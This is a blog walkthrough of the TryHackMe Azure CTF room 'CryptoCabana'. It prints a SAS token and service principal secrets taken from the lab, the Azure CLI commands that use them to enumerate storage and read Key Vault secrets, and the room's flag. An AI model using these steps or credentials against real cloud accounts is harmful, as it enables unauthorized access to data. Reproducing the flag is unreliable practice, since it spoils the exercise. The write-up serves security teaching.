DEV Community

eswar
eswar

Posted on

CryptoCabana: Azure Cloud CTF Walkthrough - THM Room

#tryhackme #azure #cybersecurity

CryptoCabana: Azure Cloud CTF Walkthrough πŸ–οΈ
Introduction

Room: TryHackMe - CryptoCabana
Category: ☁️ Cloud
Difficulty: Medium
Objective: Exploit a misconfigured Azure cloud environment to retrieve a hidden flag.

This writeup details a classic cloud privilege escalation path: an exposed SAS token β†’ storage enumeration β†’ credential discovery β†’ Key Vault access β†’ secret reconstruction. The challenge simulates a real-world scenario where poor security practices lead to a complete compromise.
Table of Contents

Reconnaissance & Initial Access

Cloud Enumeration

Service Principal Discovery

Key Vault Exploration

The "Freshly Rotated" Clue

Reconstructing the Flag

Key Security Takeaways

Tools Used
Enter fullscreen mode Exit fullscreen mode

Reconnaissance & Initial Access

Action: Visited the target website:
https://cryptocabanaf5scjagc.z13.web.core.windows.net/

Finding: The website offered to back up seed phrases. Right-clicking and selecting "View Page Source" revealed critical information in the JavaScript code.

JavaScript Code:
javascript

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

Analysis:

The SAS (Shared Access Signature) token was hardcoded in client-side JavaScript.

Permissions: Read (r) and List (l)

Expiration: 2099 – far too long!

This token grants anyone access to the storage account.
Enter fullscreen mode Exit fullscreen mode

bash

az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" -o table

Cloud Enumeration

Action: Listed all containers in the storage account.

Command:
bash

az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" -o table

Output:
Name Lease Status Last Modified
$web 2026-07-16T18:26:22+00:00
backups 2026-07-16T18:26:22+00:00
vault 2026-07-16T18:26:23+00:00

Analysis:

$web: Standard container for Azure Static Website hosting.

backups: Appeared empty.

vault: Hidden container – not referenced anywhere in the frontend code. This was the real target.
Enter fullscreen mode Exit fullscreen mode

Action: Listed blobs in the vault container.

Command:
bash

az storage blob list --account-name cryptocabanaf5scjagc --container-name vault --sas-token "$BACKUP_SAS" -o table

Output:
Name Blob Type Length Content Type
backup-service-account.json BlockBlob 360 application/json
seed_phrase.txt BlockBlob 88 application/octet-stream
Service Principal Discovery

Action: Downloaded and examined backup-service-account.json.

Command:
bash

az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file backup-service-account.json --sas-token "$BACKUP_SAS"

Contents:
json

{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
"note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}

Analysis:

Service Principal credentials – an application identity used for automation.

client_id: Application ID

client_secret: The password for the service principal

tenant_id: Azure AD tenant

Critical Note: The note itself says "Rotate this if it ever leaves the vault" – yet it was left in a public blob!
Enter fullscreen mode Exit fullscreen mode

Action: Authenticated to Azure using the service principal.

Command:
bash

az login --service-principal --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 --password "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

Key Vault Exploration

Action: Listed secrets in the Key Vault.

Command:
bash

az keyvault secret list --vault-name ccabana-kv-f5scjagc -o table

Output:
Name Enabled
key-shard-1 True
key-shard-2 True
key-shard-3 True
master-key True

Analysis:

Four secrets found.

The master-key was the ultimate target but was protected by RBAC (Role-Based Access Control).

The three shards (key-shard-1, key-shard-2, key-shard-3) are pieces of a secret-sharing scheme.
Enter fullscreen mode Exit fullscreen mode

Attempt to Read master-key:
bash

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "master-key" --query value -o tsv

Error:
text

(Forbidden) Caller is not authorized to perform action on resource.

This confirmed the need for the shards.
The "Freshly Rotated" Clue

The challenge hinted:

"if a value looks freshly rotated, ask yourself what it looked like five minutes before that"
Enter fullscreen mode Exit fullscreen mode

This was the key insight.

Action: Checked for previous versions of key-shard-2.

Command:
bash

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name "key-shard-2" -o table

Output:
Version Created
3d6492d2c6f74123bc754a9ded22b2a0 [Older]
c922c422ffb34671a902389c372314f1 [Newer – rotated]

Action: Read the older version.
bash

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-2" --version "3d6492d2c6f74123bc754a9ded22b2a0" --query value -o tsv

Value: k3ys_n0t

Action: Read key-shard-1 and key-shard-3 (non-rotated).

Commands:
bash

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-1" --query value -o tsv
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-3" --query value -o tsv

Values:

Shard 1: THM{n0t_ur

Shard 3: ur_c01ns!}
Enter fullscreen mode Exit fullscreen mode

Reconstructing the Flag

The three shards combined to form the final flag:
Shard Value
key-shard-1 THM{n0t_ur
key-shard-2 (older version) k3ys_n0t
key-shard-3 ur_c01ns!}

⚠️ SPOILER ALERT! The flag is revealed below. Only proceed if you've completed the room or are stuck.
Enter fullscreen mode Exit fullscreen mode

🚨 Click to reveal the final flag

Final Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

Key Security Takeaways

  1. Never Hardcode Credentials in Client-Side Code

The SAS token was embedded in JavaScript, accessible to anyone viewing the page source. This should never happen. Tokens and keys must be server-side only.

  1. Use Short-Lived SAS Tokens

The SAS token was valid until 2099. This gives attackers a massive window. Always use short expiration times (e.g., minutes or hours) and regenerate them as needed.

  1. Principle of Least Privilege

The SAS token had read/list permissions across the entire storage account. It should have been restricted to only the backups container with the minimal permissions required.

  1. Secure Key Vault with Proper RBAC

Service principals should have only the permissions they need. Additionally, secret versioning is a double-edged sword – rotating a secret is useless if the old version remains accessible.

  1. Regular Audits

Regularly audit your Azure resources for:

Exposed credentials in code

Overly permissive SAS tokens

Unused or hidden containers

Old secret versions
Enter fullscreen mode Exit fullscreen mode

Tools Used
Tool Purpose
Browser DevTools Source code inspection
Azure CLI Azure resource enumeration and access
Azure Portal Visual exploration (optional)
Terminal Command execution
Conclusion

The CryptoCabana room demonstrates a realistic cloud privilege escalation path. What started as a simple website with a backup feature led to:

An exposed SAS token in JavaScript

Storage account enumeration

Discovery of a hidden container with credentials

Service principal authentication

Key Vault exploration

Secret versioning exploitation

Flag reconstruction

⚠️ SPOILER ALERT! The flag is revealed below. Only proceed if you've completed the room or are stuck.
Enter fullscreen mode Exit fullscreen mode

🚨 Click to reveal the final flag

Final Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

Happy hacking! πŸŒ΄πŸ–οΈ

Disclaimer: This writeup is for educational purposes only. Always obtain proper authorization before testing security on any system you do not own.
Enter fullscreen mode Exit fullscreen mode

Top comments (0)